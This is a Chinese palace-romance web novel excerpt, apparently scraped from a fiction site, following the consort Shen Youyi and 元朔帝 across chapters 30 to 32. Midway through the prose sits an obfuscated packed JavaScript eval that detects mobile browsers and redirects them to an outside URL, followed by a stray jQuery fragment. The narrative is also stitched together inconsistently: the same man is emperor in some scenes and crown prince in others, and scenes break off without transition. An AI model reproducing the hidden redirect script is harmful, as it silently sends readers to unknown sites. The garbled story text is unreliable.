元朔帝低声斥责了一句:“胡闹!” 气息拂落颈项,弄得她心肝颤栗,过了片刻,沈幼宜才回过神,理直气壮道:“陛下是要放干我的血得到三本经书和一具干/尸,还是要一个国色天香的美人好生生地站在您面前?” 元朔帝沉声道:“你知不知道,这是欺君!” 她就是故意来惹人生气,不满被放逐到此处抄经静心,不肯每月乖乖将经文奉上也就罢了,等到今日,来借花献佛不说,还要戏弄人一番。 虽说如此,元朔帝还是唤宫人送了鞋袜进来,冷眼瞧着她穿好。 “不用这个借口,怎么教人知难而退?” 他的贵妃不知想到了什么,气鼓鼓地瞧着他,看起来颇不服管教,连眼泪都不流了:“要不然别人怎么知道,为了得到您的恩宠,我得付出多大的代价呀!” 谁不会绣鸳鸯呢,做宠妃的门槛是很高的! 恩宠和写血经是两码事,但她偏要凑成因果,元朔帝气极反笑:“胡搅蛮缠,朕的声誉都教你带累坏了。” 信口开河也要有些限度,哪有皇帝宠爱妃子,要看她肯割多少血出来。 分明是知道他会纵容遮掩,旁的女子哪有这个胆量! 这才哪到哪呢……沈幼宜瑟缩了一下,声音低了下去,嘟囔道:“您大概都没仔细瞧我写得有多认真。” 他还不知道这具美艳的壳子里承载过两个相近的女人,也不知道其中一个差点做了太子的宠妾,另一个很有可能顶着他贵妃的名头和太子眉来眼去。 元朔帝默了片刻,那时他几乎想冲入瑶光殿,狠狠地教训她一顿:“明日朕教人拿过来看。” 沈幼宜轻轻挣扎了一下,教他看手上的痕迹,低低道:“我去各处庭院找了您的题字,一点一点临摹出来的,可能写得不是很像……” 她临摹过卫贵妃的字,总有些不放心,后来干脆放弃,转而临摹皇帝的御笔。 “行宫里有许多您留下的痕迹,我很想您。” 她有点不甘地望着元朔帝,眼神湿漉漉的:“每天晚上我都躲在帘后偷偷看您,真的很想很想,想得快要发疯了……您会觉得我是一个疯女人吗?” 一只被遗弃在荒园里的小狗,一边凄惶等待自己的下场,一边忍不住寻找主人留下的一点点味道,每收集到一点点碎片,都会觉得开心。 可等到真正见到主人的时候,它却远远躲开了,只敢在暗处偷窥。 它清楚地知道,主人早就将它遗弃了。 但这种躲在阴暗处窥人的行为放在人、甚至是美人的身上都有些过于变态,除非……对方也是这样的人。 元朔帝垂下头看她,轻轻叹了一口气,伸臂将低头伤神的她揽住:“阿臻,别学你的母亲。” 他一向不为外物所累,士衡的夫人竟会因为女儿的走失而精神失常,即便如今也偶尔发病,这于天子而言难以想象的事情。 贵妃是她的女儿,一旦步了后尘……事情没到这步田地,元朔帝并不愿意细想后果。 沈幼宜愣了愣神,她对付男人的招数放在元朔帝身上有点作用,但也不多。 他轻缓地拥着她,却没有狂风暴雨似的吻与欲,甚至生出些无奈与伤感,看来人至中年,小别胜新婚已经不适用了。 她心底深深生出一种挫败,从少年男子那里得到的经验在皇帝的身上得不到验证,更何况,她不认识燕国公,更没见过他夫人。 沈幼宜含糊地应了一声,她轻快道:“这种事情太丢脸了,我本来一点也不想教您知道,可谁教您那么那么地喜欢我呢。” 那种伤怀的温情霎时间荡然无存,元朔帝好气又好笑,甚至想拧一拧这张写满了小人得志的脸。 她比太子和他那些皇嗣都要顽皮大胆得多,只要有一点点的好脸色,她就得意洋洋地露出狐狸尾巴。 他这样想了,没道理不这样做,她双颊微丰,晚间只敷了一点香粉和玉容膏,捏起来手感极佳,甚至捏一下,就能惹出她一声叫来。 这种感觉有一种带着恶意的陌生趣味,珍贵的人与物件在破坏的那一刻,显出一种别样的美丽。 元朔帝收着力道,又捏了几下才训斥道:“亏你还是女子,清闲贞静,守节整齐,你的《女诫》读到哪去了!” 妇人以贞静幽闲、端庄诚一为要,可她简直可以说是不知羞耻。 男子的手劲有些大,沈幼宜不满地揉了揉脸,男人总是道貌岸然的,嘴上一套身上又是另一套,他这么爱说教,又喜欢贞静的女子,就该去找端庄又宽容的女人睡,譬如皇后,对妃妾们很好,还记得人家喜欢吃什么,场面上也很得体,为什么又来找她呢? 还不如太子呢,沈幼宜悻悻地想,太子起码承认就是很喜欢她这个人,这具漂亮的皮囊。 她也很喜欢这具漂亮的皮囊呢,不是谁投两次胎都可以拥有的,被他捏坏了怎么办? 元朔帝低头打量紧紧咬着唇的贵妃,她肌肤娇嫩,就是随意碰一下都会觉得痛,但就是这样娇贵的美人,可以受得住彻夜挞伐的激烈欢愉。 他在这上使力,她从不拒绝。 然而沈幼宜倏然抬起头,四目相对,她竟有几分咬牙切齿的意味:“您不惦记我,那站在这里做什么?” 她可没说她喜欢他,一肚子坏水,在那时还不忘算计谁先谁后。 但元朔帝想起那方红笺,神情柔和舒缓:“都过了仲春,怎么想起来画芍药?” 年过而立,他已经习惯了万事捏在掌心,乾纲独断,俯瞰一切,偶尔为一片花丛绊住衣角,虽起涟漪,也并不觉得独特。 人有固定的偏爱,这并不稀奇,少年时热衷于踏遍天下山川湖海,丈量每一寸臣服的土地,如今便将目光短暂地停留在她的身上。 天子富有四海,他不介意她在内廷这片池塘搅弄风云,但不允许她一而再、再而三地挑衅君王威严。 这或许就是天意。 沈幼宜莞尔一笑,顾盼生辉:“芍药艳丽,与红笺相配,我画一朵花还要想着它几月份开么?” 元朔帝被她说得微微一滞,目光落在沈幼宜面上,见她笑得狡黠,不免敲了一下她的额头,语气却还是缓和的:“这自然也随你。” 沈幼宜忍俊不禁,悄悄观察他的神情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681696|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“谁教您不肯到瑶光殿来,您不惦记我,那我就真的不喜欢您了,今夜您要是不来,我就去求太后娘娘,让她准我遁入空门,省得我在您眼底住着,处处惹人烦。” 她神情天真,似一掬清冽甘甜的泉水,即便随风成云,飘到宫外去也不留恋。 这种不受控制的感觉令元朔帝很是不喜,后妃在内廷的生死去留从来由不得她们自己,帝王未山陵崩前,很少令嫔妃出家为尼。 他蹙眉要训斥,却被她紧紧环住腰身,连开口也慢了一分。 沈幼宜轻声道:“可我又想,我喜欢的郎君怎么会不喜欢我,要不然您送人到我身边做什么,您是不是也有那么一点点舍不得叫我离开您呢?” 最后一层遮羞布都被揭开,她凝望着眼前的男子,眼睛眨也不眨,直到她以为元朔帝不会开口,他才突然道:“阿臻,其实不止是一点点。” 当真是连一夜也等不得了吗? 可若不即刻将她送出宫去,这一夜大约都难以安枕。 她是他朝臣的妻子,即便做了寡妇也在孝期,本就不该成为内廷中的命妇。 他竟教一个轻佻、大胆、不知廉耻的女子位列四妃之首,居于太子生母之上。 到了明日朝阳升起,这个念头会不会也随之消散? 沈幼宜说不上多满意——那些年轻的郎君对她表露爱慕的时候可比高高在上的天子花言巧语多了,但总归得了他一句好听的话。 她矜持地点了点头,慢吞吞从袖袋中摸索出那个香囊,笑盈盈道:“陛下今日不知道收了多少寿礼,大概早就眼花缭乱,不知道我这点微末技艺,还能讨陛下一笑吗?” 鸳鸯的眼睛与毛发经过另一双妙手的修饰,已经很见几分神采,但月光落在上面,照出来许多针线拆改的细小孔眼。 双栖绿池上,朝暮共飞还。托那几本经书的福气,他全然不记得后来到底呈上过多少奇珍异宝,只是…… 她当真半点亏也不肯吃,一定要人自己送上门来,才肯施舍一点真心。 “这鸳鸯色彩明亮,针脚细密,选的香料气味也清雅内敛,可见很下了一番功夫。” 元朔帝并不指望她能做绣娘,握住她的手捏了捏,轻声道:“你受累了。” 沈幼宜有几分得意,让人差点能瞧见她身后的尾巴:“我就知道您一定会喜欢的……还有什么呢?” 她期待的眼神太过热烈直白,连夜里也藏不住一点,元朔帝迟疑了片刻,这夸得还不够? 终究是第一回做这种事情,沈幼宜想来也一阵面热。 她幽怨地瞥了一眼,自己拿过香囊解开,这男人怎么半点风情也不解,亏她还担心他面上严肃,实则花样百出,那她恐怕很难招架得住。 一枚小巧玲珑的钥匙滚落在美人掌心,月下泛着金色的光。 年轻女子的心思复杂多变,元朔帝无奈含笑,抚了抚她鬓发,顺着她心意猜测:“这是昭阳殿库房的钥匙?” 虽说那些赏赐极为珍贵,但他还不用嫔妃忍痛割爱,要这个小气的女郎献出全部财宝。 沈幼宜咬着唇低下头去,未婚的女子要学妖妖娆娆的妇人做派还是有几分不易,她待太子再情热,也是唇齿上你侬我侬,婚前他哪敢教她有孕呢。 然而都走到这一步,她还是鼓起勇气,嗫嚅道:“锁一直都在我身上,等着陛下来开。” 元朔帝心下一热,她今日要献上的寿礼并非经文,也不是诉情的香囊,竟是她自己! 他伸手向她衣内探去,一时间勃然作色。 金链细细,锁住了美人腰间一段风流。 妇人的贞操在哪里,锁自然就在哪里。 她竟戴着这些不堪的东西出现在人前谈笑自若,且过了整整一日! 30-40 第 31 章 第 31 章 七月流火,由夏转秋,长安的天空澄清缥缈,鸟雀绕枝相戏,望之令人心胸开阔。 可宋院使至长生殿时,连脚步都不自觉放轻了些,他整了整本就端肃的仪容,躬身入内。 长生殿更近外朝,元朔帝偶尔在此处与后妃宴饮听曲、小憩,批阅奏疏,也接见臣下。 陈容寿引他入内,一时欲言又止,朝中有许多事情,陛下不可能为贵妃的一点小事耽搁着,可将奏疏都移到离清平殿极远的长生殿,陛下虽执笔批阅,目光却常常落在燕国公亲笔书写的密折上。 那目光絮软得厉害,似绵绵的蜜糖丝,带了一丝不该属于天子的怅惘。 批阅奏疏的速度比平日缓上许多。 就连午后太子求见,也教内侍随口敷衍回去。 月上星空,明明是安寝时分,怀德院却灯火通明,院中喧闹不已。 沈幼宜还未走到院中就听见了一阵女人的婉转哭声,那声音与其说是哭,更像是莺啼或者猫叫,一股子撒娇的腻味。 “这不行” 玉宁听见沈幼宜在前面叨咕了一句,没听清她在说什么,便问道:“娘娘刚刚说什么什么不行?” 沈幼宜嗤笑,抬起纤纤玉指,指了一下跪在院子中央的人,笑道:“我说她哭的不行,一点没我半点动听,玉宁你说是不是?” 玉宁:“”怀德院的正殿中,元朔帝正襟危坐在主位上,他面色淡淡,缓慢翻看手中的书册,用余光去看下面并排站着的两个儿子。 萧予鸿坦然站着,不理会萧予清的挤眉弄眼。 “呃这文章讲的是”萧予清面露难色,小脸皱成一团,手指去怼亲哥哥的腰,想要萧予鸿透露点答案给他,可惜亲哥哥一点不中用,像父王一样严肃无情。 “我”萧予清叹了一口气,心虚地低下头,喃喃道:“回父王,儿臣不知道这篇文章讲的是什么。” 他说完后不敢去看亲爹的表情,只能偷偷去看表叔江恒之,对着江恒之眨眨眼睛,瘪嘴装可怜。 江恒之被这小孩的表情逗笑,张口为他解围,“小殿下们才四岁,尚且年幼啊,殿下考的文章过于深奥,不会也是正常,臣这个年纪的时候,连话都说不全,还在玩泥巴呢。” 回想年少时光,江恒之都觉得庆幸,幸好家中父母不在学问上深究,让他幼时过的快活张扬,储君之子身份是尊贵至极,但江恒之却觉得这样的生活没有寻常人家过的自由,荣华富贵不愁,但皇家危机四伏,性命堪忧啊。 元朔帝将手里的书册扔在小桌上,靠着椅背闭眸歇神,清俊冷肃的嗓音中掺杂几分无奈,“萧予清,你既不爱读书,又不爱练武,那你自己说,你喜好什么?” 萧予清困意上来,抬手揉了揉眼睛,长叹一口气,“呃儿臣也不知。” 萧予鸿看了眼弟弟,低眉思量片刻,扬声道:“回父王,昨日二弟背书到很晚,所以今日精神有些不好。” 看见长子有袒护弟弟之心,元朔帝面色稍霁,“罢了,你们去偏殿歇着吧,这两日休假都住在偏殿里,明日再考这些。” 萧予清立马来了精神,欢欢喜喜说了声“是”,拉着哥哥的手跑去偏殿玩了。 望着两个孩子离去的背影,江恒之笑道:“稚子年幼,殿下切莫太过操心,清儿性子活泼好动,我倒觉得这是个练武的好料子,以后可以带去军营中历练历练。” “他不喜欢这些,历练便算了吧,日后当个富贵亲王,安稳就好。” “既然殿下对清儿的期望不高,哪又为何如此严苛?”江恒之不懂元朔帝在想什么,好似他心里想的和做的总是不一样。 “兄友弟恭,才是皇家之福。” 虽然皇后诞下的嫡子就只有元朔帝一个,但皇家庶出的皇子不少,元朔帝并非没有对手,只是他自小严苛对待自己,让所有对手知难而退,望尘莫及,他占了个嫡子的优势,加上自己的努力,这才让这条原本荆棘的路顺畅许多。 他不准备再要其他的孩子了,有鸿儿和清儿就足够,他们是双生子,会比一般兄弟更加亲近,加上长子聪颖勤奋,次子顽皮好玩,对比足够分明。 元朔帝始终认为,次子顽皮懒散的性子是与生俱来的福气,他就这样长大很好,不会有兄弟反目,不会有灾祸临头,而鸿儿是他认定的继承人,他所拥有和承受的,比清儿多很多。 鸿儿少年老成,天资聪颖,这样的孩子招人喜欢,也令元朔帝担忧,怕他生来缺少感情,以后容不得兄弟。 一个经常犯错,一个袒护帮忙,时间久了,他们就都习惯了。 两位小皇孙在怀德院住了两天,而沈幼宜两天没出门,说是又病了。 对此,元朔帝还有些奇怪,平常粘人的紧,怎么孩子们都在怀德院,她却不来了? 称病不知道是真是假,但以沈幼宜的性子,恐怕就算是真的病了,也得挺着难受来怀德院和孩子亲近吧?现在闭门不出反倒让人看不透了。 见沈幼宜在东宫称病不出,就连江皇后都有了好奇心,让檀青带着太医来了一趟海棠阁。 沈幼宜靠在平塌上任由太医诊脉,她神色落寞,但脸色红润康健,一点不像是有病的样子。 太医不好意思直说沈幼宜没病,是在装病,只能委婉地说是郁结于心,多走走路出去吹吹风就好了。 檀青是个人精,这还有什么听不出来的,她送别太医,转头就过来问沈幼宜。 “沈娘娘明明无碍,怎么还称病在屋里修养,闭门不出呢?”檀青没觉得沈幼宜在耍什么心眼,毕竟这位沈娘娘心机智谋有限。或许是真的有什么难言之隐吧。 “檀姑姑有所不知,我这些日子一直都在绞尽脑汁讨好殿下,希望殿下能对我改观,真正的接纳我,但殿下实在是不喜我,任其用什么办法都不管用,靠近一下都不肯。” 沈幼宜手里拿着帕子,掩面哭泣,“前几日鸿儿和清儿过来了,我这个当娘的也想去看啊,可是一想到殿下对我的态度,便望而却步了。若是让两个孩子看见生母被父亲如此厌弃,让他们心里可怎么想啊。 所以我想,与其让孩子心里多想,不如我就避一避,干脆不让他们知道我的存在了,等以后他们慢慢懂事,也就都知道了。” 都这个时候了,她还以为娘娘会说点什么有用的话来,是她对娘娘期望太高了。 福案来海棠阁请娘娘过去的时候就说了,闵侧妃在殿下的怀德院中哭诉,恳请殿下惩戒沈奉仪。 闵樱这两日中泻药,腹痛不止,整个人又瘦了一圈,憔悴得都要脱相了,思来想去,最近和她有恩怨过节的人就只有沈幼宜一个,闵樱搜查了整个院子,最后在膳房送来的莲子羹里发现了泻药。 紧接着闵樱有去问了东宫府医,最后得知,近期只有沈奉仪在府医那里领过通畅肠胃的药丸,所以她坚定地认为这事就是沈幼宜做的,便带着所有的证据闹到了怀德院来,口口声声证据确凿,请太子殿下惩治沈幼宜,谋害东宫侧妃的罪名不不算小,罪责压下来能扒沈幼宜一层皮。 “侧妃娘娘好兴致,都这么晚了,这么来怀德院赏月吗?”沈幼宜背挺得很直,抬头挺胸跨入怀德院的门槛,一副问心无愧的样子,“若是领了一副药就定下谋害的罪名,那侧妃姐姐也是太低估殿下的断案水准了,殿下向来公正严明,其实只听你这一面之词就轻易定罪呢。” 闵樱怒目看向沈幼宜,刚刚还柔弱的声音立马变了味道,怒气冲冲道:“本宫已经找到了证据,件件都指向你,沈奉仪敢做不敢认?但就算你不认,这也你一张嘴就能否认得了的,眼下证据确凿,一会殿下出来,看你如何狡辩!” 是的,元朔帝根本不在院子里站在,他在沈幼宜进来之前,一直都在寝殿里没出来,任由闵樱在院子中哭诉。 沈幼宜一听便笑了,站在闵樱身边,自上而下地看着跪在地上的闵樱,“我还当侧妃姐姐哭得这么委屈是给殿下听得呢,闹了半天,原来殿下都没出门看你一眼啊,所以你是对着空气哭了半晌吗?” “沈幼宜你放肆,还不跪下。”闵樱自己跪在地上,但沈幼宜却在一边站着,这怎看都不对劲啊,好似她才是那个犯错的人。 一看沈幼宜那副得意洋洋的嘴脸,闵樱就忍不住心里的恨意,她实在看不过眼,正要让身边的下人强制让沈幼宜跪下,谁知太子元朔帝正好在这个推门出来。 她情绪转换强硬,立马又哭了起来,但哭得声音明显不如刚刚可怜了,“请殿下为妾身做主啊~” 连日忙于政事,元朔帝眉宇间有极重的不耐之色,听见闵樱哭声更是面色冰寒,给福案一个眼神,福案立马会意,蹲在闵樱身边暗暗劝告她莫要再哭。 福案是个笑面虎,几句话就让闵樱止住哭声,连哄带吓,成功让闵樱冷静下来,一件件说着她在东宫里找出来的证据。 这些证据摆上一起还想那么回事,但元朔帝不认为这是沈幼宜做出来的事情,她如果要报复,应该会用更直接粗暴的方式。 听见闵樱提起海棠阁取药丸的事情,随沈幼宜一起来的玉书连忙走到前面跪下,扬声解释道:“那药丸不是娘娘取来用的,是奴婢前些日子腹部不舒服,所以请玉宁姐姐帮忙去拿了药。” 元朔帝目光扫过石阶下面的这群人,掠过闵樱哭得通红的脸,在沈幼宜镇定坦荡的眼睛上停留一会,最后去看玉宁。 听过玉书的辩解,玉宁在元朔帝看过来的时候暗暗点头,表明这事确实为真。 说来说去,还是后院女人互相谋害争斗的戏码,元朔帝深觉不耐,目光寒凉,当众让闵樱回去养病,莫要病糊涂了脑子,找到个不入流的证据就来胡闹。 来京都后,沈幼宜自认扮演好了这个无脑美人的戏码,她是演出来的,但这个闵樱却是真的蠢,她从未见过这样愚蠢的人,只要她有需要就送上门来让她利用。 沈幼宜以得意且嚣张的眼神送闵樱离去,转头又换上了看见心上人的欢喜神情,开始了她的表演,“妾身多谢殿下出手相助,殿下” “孤没帮你,只是在说事实。闵侧妃位分高于你,你该恭敬些,谨守宫规,再有下次,你就随她处置,孤不会再管。” 元朔帝不能不顾及闵樱背后的闵家,他上有生母江皇后的家族要保,下有两个儿子要护着,很多事情不能不顾全体面。 闵家几代为官,根基稳固,没有犯过大错,也算忠臣之家,看在祖辈的情面上,他暂时不能处置了闵樱,也无法将闵樱送出东宫,沈幼宜要是经常与闵樱对上,吃亏是迟早的事。 “不管怎么说,殿下能信任妾身清白,妾身就很欢喜了。” 沈幼宜一字一句说出这番话,眼中像是呈着一汪清水般,深情凝望着元朔帝,“多谢殿下信任。” 在这方面,孤确实信任你,毕竟你连害人都那样浅薄,想不出这样婉转的报复手段。” 有时候冲动浅薄的人,也是最单纯的。 闻言,沈幼宜眼中的感动瞬间消散,转而失落伤心不已,似乎被心爱之人狠狠打击到了。 “原来在殿下眼里,妾身就是这样一个恶毒的人吗?” 她紧紧盯着元朔帝的眼睛,无比认真地说:“妾身行事确实不入殿下的眼,但我只是在用自己的方式保护自己罢了,我报复过的人,都是曾经给我使过绊子的,卑贱时不能反抗,只能咬牙承受,那我在翻身之后加倍报复回去有什么错!” 说完,她便抹着眼泪跑出了怀德院,头也没回。 院中众人愣了会,就连自认为了解沈幼宜的玉宁都没反应过来,没想带娘娘会在大庭广众之下这样和殿下说话,她顾不得对殿下解释什么,连忙追了出去。 元朔帝站在原地看着,直到视线里早就没有沈幼宜的背影,他才缓缓垂下眼帘,往书房的方向走。 福案跟在后面劝,“殿下,已经很晚了,您都忙了一天了,再看伤眼啊。” 他没听见殿下回答,只听见书房门“哒”的一声关闭,紧接着暖黄色的烛光亮起来,照亮了书案那一小片的空间。 沈幼宜大吃一惊,轻轻从天子怀中挣脱:“那他不娶妻,他阿耶阿娘岂不是要气死了?” 她对阿兄娶公主为妻没什么太多感受,原本他们就该同皇帝的女儿一辈,就算是娶了,对他仕途、对沈家都有益,不娶也没什么不好,阿兄的脸生得很好,可脾气足够古板,年纪轻轻比她爹还要严厉,哪能服侍得来公主。 元朔帝见她目光清澈,即便心事重重,也不免有几分笑意,一个离经叛道的女郎为一个迷信神佛的男子担忧他绝嗣不孝,她引诱天子时,难道不为卫氏族人的性命想一想? “他阿耶在乡里隐居,不愿出来做官,大约是经历过些事情,将这些都看淡了,未必有你这般上心。” 这几个女儿都等不到他三十岁,天家的公主选择何其之多,不必在一棵树上吊死,端阳也至多是可惜一番,后来还是兴高采烈嫁给了旁人,元朔帝想了想他与贵妃若能生得出女儿,到了及笄时候,沈怀安是三十六七的年纪,做驸马实在是太老了些,早便绝了这念头。 不过是随口拿这些事情逗弄她开心,元朔帝正要说些旁事,胸口却传来一阵轻微的颤动,他吃惊不小,几乎僵在原处,连忙拍了拍沈幼宜,教人去请太医来。 过了许久,竟还能听见父亲和兄长的消息,沈幼宜的脑子几乎一片空白,他们竟然都还活着! 她嘴唇不自觉地颤,直到耳边有元朔帝召太医过来的声音,她才意识到自己做了一件多么离谱的事情。 “陛下把我当成瓷娃娃了,就是方才想到女子难产的情景,吓到了而已。” 沈幼宜不想叫太医过来,定了定心神,重新伏在他怀中撒娇:“我听阿耶说陛下可厉害了,做了许多年太平天子,还能亲自出京平叛,不出两月就教称帝的贼子伏诛,我今日躺久了,有些睡不着,您能不能再给我讲一点沙场上的故事,我听了也好安寝。” 第 32 章 第 32 章 或许皇帝只是不经意问起,沈幼宜敛眉,不在意道:“是陛下有意将中元节提前一日过吗?” 她听说有的地方好像有这样的习俗。 元朔帝含笑低头,从容道:“朕记得那日好像是萧侯的忌辰。” 沈幼宜几乎控制不住自己的神情,她张惶抬眼,却见天子意态温柔,只是随口提起这件事而已,悄悄松了一口气。 元朔帝一开始就知道她同故陵阳侯的关系,只要她不再为了陵阳侯抗拒为帝王生儿育女,他没必要捉住一点小事不放,和她计较。 沈幼宜揽住他的颈项,轻轻凑上前亲了一下,不满道:“陛下这不是明知故问吗,想瞧我心里还装没装着亡夫,您怎么这么坏呀,设了个套让人往里钻,我才不要留在清平殿服侍您呢!” 她松了手转身就要走,男子长臂一伸,径直将她拉到了怀中。 偏殿中水雾弥漫,湿润的水汽混杂着梨花的清香飘散在空中。 温池虽然连接着寝殿,专供储君享用,但因池水温度偏高,元朔帝甚少在这里沐浴,平日里洗漱大多用的都是较凉一点的井水,清凉的水会让人神志更加清醒。 稀稀落落的水声传出,清动悦耳,元朔帝走到偏殿内,停在了青翠山水屏风外面。 他的寝殿没人敢进,除了沈幼宜不会有别人,若是没有他的命令,福案不敢开启温池让沈幼宜用,也不知道她是对福案瞎说了些什么,将这群宫人们都给骗住了。 元朔帝轻轻摇头,无奈笑了一下,缓步往里面走。 温池边守着两位侍女,都是怀德院里伺候的一等侍女,按理说,一等侍女都是储君的贴身婢女,有通房收用的可能,全是精挑细选出来的,沈幼宜当年也是怀德院的一等侍女。 但因元朔帝不许贴身侍女近身,所以怀德院里的一等侍女可谓是整个东宫里最清闲的一等侍女了,这样眉清目秀的侍女跟在身份尊贵年轻俊美的郎君身边却不能近身伺候,日子过得可真是一点盼头都没有,好在侍女出身的沈奉仪重获宠爱,几个一等侍女又从沈幼宜身上看见了一丝希望。 她们都上赶着伺候沈幼宜,希望能得沈奉仪的看重,在沈幼宜得宠之余分一杯羹,毕竟大家都是侍女出身,可比世家贵族里的贵女们好相处多了。 两位侍女见太子过来,脸上都挂着惊喜羞怯的笑容,尽管太子的目光都落在了池中人身上。 元朔帝摆摆手,示意她们都出去。入夜,月色柔和温婉,衬得来人更加绰约。 慕鸳生得一副清冷长相,在月色映照下显得更加清冷出尘,气质娴雅。 “真是稀客,慕姐姐今日来海棠阁两次,可真是让我这海棠阁蓬荜生辉啊。”沈幼宜坐在正殿的主位上,玉书搬个圆凳坐在她身边,细心为她涂着蔻丹。 慕鸳身后跟着几个婢女,她们手中都端着托盘,规矩端正地走进来,将托盘都放在了长条案上。 托盘上有布料衣裳、首饰头面和胭脂螺黛,每一样都是精品,宫中专门供奉给高位嫔妃的东西,就算是东宫侧妃,也轻易拿不到这些。 “这些都是太子殿下吩咐的送过来的,沈妹妹在东宫是独一份,殿下恩宠你,可真是舍得在你身上用心,两位小皇孙今夜都在怀德院住下了,沈妹妹有两位如此可爱的儿子,当真是命好,生来带福。” 不走心地客套两句之后,慕鸳自顾自地坐在了左侧的玫瑰椅上,含笑看着沈幼宜,看起来似乎是有话要说,一点没有走的意思。 玉静端着茶盏茶壶过来倒茶,行为恭敬,但在没人看见的地方却暗暗撇嘴,对太子嫔慕鸳话里话外的阴阳怪气十分不屑。 东西放完,多余的婢女都退了出去,正殿中除了沈幼宜和慕鸳两个主子,就只剩下玉书玉静和慕鸳的贴身婢女。 慕鸳端起茶盏轻抿,又轻寥寥地放下,对茶不太满意,“这茶,有些凉了呢。” 沈幼宜垂眸看着玉书涂抹她的指甲,闻言,掀起眼帘看向下首的慕鸳,笑道:“既然慕姐姐觉得茶凉,那就换一壶热的吧,玉静,你再去重新泡一壶来。” 支开了玉静,慕鸳也找了个由头让她的贴身婢女出去了。 殿门被关上,屋中顿时静下来。 慕鸳渐渐收敛了脸上的笑意,表情静下来,凝着正在给沈幼宜涂指甲的玉书,缓缓开口:“沈妹妹的婢女有些本事,竟然能绕开我院中的一众宫人溜进去,沈妹妹身边养着这样一个人,可要小心了。” “不过是有些三脚猫的功夫罢了,上不得台面的。”沈幼宜回。 “原来在沈妹妹眼里,魏庄白玉牌的杀手竟只是三脚猫的功夫而已,那敢问沈妹妹你,是何阶玉牌啊?” 魏庄是潜藏在大景的杀手组织,成立三十余年,庄内培养无数武功高强的杀手,只要银子足够多,魏庄就能为你办事,表面上是在江湖里讨生活的暗杀组织,但实则却是前朝皇室的潜藏地点,这么多年精心谋划扩大势力,就是为了复兴大魏皇室。 庄内杀手分四阶,从低到高依次是青玉牌、翠玉牌、白玉牌和黑玉牌。 慕鸳是前朝大臣的遗孤,也是魏庄的青玉牌杀手,因为武功不高,所以她的玉牌也是最低级的,但她伪造身份混入宫廷,一直在暗中为魏庄办事,靠着东宫嫔妃的身份和掌管后院的权力,慕鸳在魏庄这群杀手中有着举足轻重的地位,手中有好几位青玉牌杀手可供差遣。 “行了,差不多了。”沈幼宜挥挥手让玉书退下,抬起手欣赏了一会,然后不紧不慢的说,“我是什么玉牌不重要,你也没这个权力知道,你要做的,就是听话。” 慕鸳目光沉沉,冷声道:“魏庄等级森严,只有白玉以上的高阶杀手才能命令低阶,你若不说身份,我怎能安心听命于你。” 她潜伏宫中多年,许多暗桩她都略知一二,但却从未听说沈幼宜也是魏庄中人,要不是玉书潜入她的寝殿送信,她到现在都不知道沈幼宜会和魏庄有关联。 “继续继续,怎么不动了?”沈幼宜肩头露出水面,双臂伏在池边的羊毛毯上,两名侍女原本都在用水瓢往肩头上撒温水,现在突然停下来了,她就嘟囔了一句,想要她们继续。 她趴在池边,双眸是闭着的,殿中水声很大,地上铺着毯子,所以她并没有听见两位侍女离去的脚步声,依旧闭着眼睛享受。 没一会,又有人拿起水瓢在她肩头上浇水,沈幼宜舒舒服服地趴着,双唇微微弯起,乖顺地像个被顺毛的狸奴。 盈润白皙的肩膀袒露,玲珑有致的曲线在水面下若隐若现,她就算不睁眼不说话,就已经让殿中染上了旖旎暧昧的气氛,挑衅着男人的本能。 绣着金线的宽大衣袖从沈幼宜手臂上划过,质地稍硬的金线明显不是婢女能用的,宽大的衣摆也不是侍女衣裙的样式,沈幼宜睫毛颤了颤,呼吸略微急促了些。 她闭着眼睛转头,将脸朝着池水的方向,背对着给她浇水的人,缓慢掀开眼帘。 元朔帝一直看着她,自然没错过她身上细微的反应,不一会,她转头背对自己,他就看不见她的脸了。 “不看看伺候你的人是谁么。” 男人低沉好听的声音在背后响起,沈幼宜嘴边挂起一抹淡淡笑意,故意不回答他,扶着池边下潜,让池水摸过了肩膀,只露出脖子上面的部分。 她仰头望着元朔帝,眼里尽是潋滟水光,双颊微红,水雾蒸腾后的皮肤水嫩透红,活色生香。 “妾身哪敢让殿下伺候,方才有两位侍女在呢,都被殿下撵出去了,分明是殿下故意戏弄我。”沈幼宜抿唇笑着,双眸直勾勾地看着他,那是无比直白的邀请和引|诱。 元朔帝双眸晦暗不明,单膝蹲在池边,凝着她许久,他喉结滑动呼吸深重,多年教养刻在骨子里,让他无法直面自己的卑劣犹如野兽般低俗原始的欲|望,就算面如此诱惑也没有失态,极为克制地侧开目光,不与沈幼宜对视, “莫要放肆,孤不想伤了你。” 他还记得五年前那夜的场景,那是他此生第一次没有克制住自己,当时的自己太年少,心智不坚,没有克制住自己,不小心伤了沈幼宜。 元朔帝清晰记得沈幼宜惨败没有血色的面庞,还有中途因为疼痛而后悔的推拒,后面她始终咬唇忍耐,似乎是痛苦极了,不肯张口与他说话。 与其说沈幼宜存心引诱,妄图上位,不如说他心智不坚,没能把控住自己,放任沉沦,最让人不想面对的,不是沉沦的后果,是她中途的反悔和抗拒。 即便她如何说爱慕,元朔帝还是从她片刻流露出的眼神中看见了抗拒和讨厌,既然不愿意为什么要主动引诱呢?是因为他的身份吗,为了荣华富贵,为了摆脱贱籍……那夜之后,元朔帝清晨早早起身,给沈幼宜留下一个奉仪的名分就走了,他出了京都,一走就是两个月。 这么多年不见,元朔帝现在看她,从她的眼睛里再也看不见抗拒了,只有满腔爱意,他想,当初是他武断了,床笫之欢对她来说太过疼痛,所以才会抗拒,不是因为不爱他。 “儿女情长至深,男欢女爱都是理所当然的事,殿下怎会伤了我呢。”沈幼宜不知道元朔帝是想到了什么,一看他又离开的趋势,立马顾不得什么,猛地从水里站起来,双手环住了他的脖子。 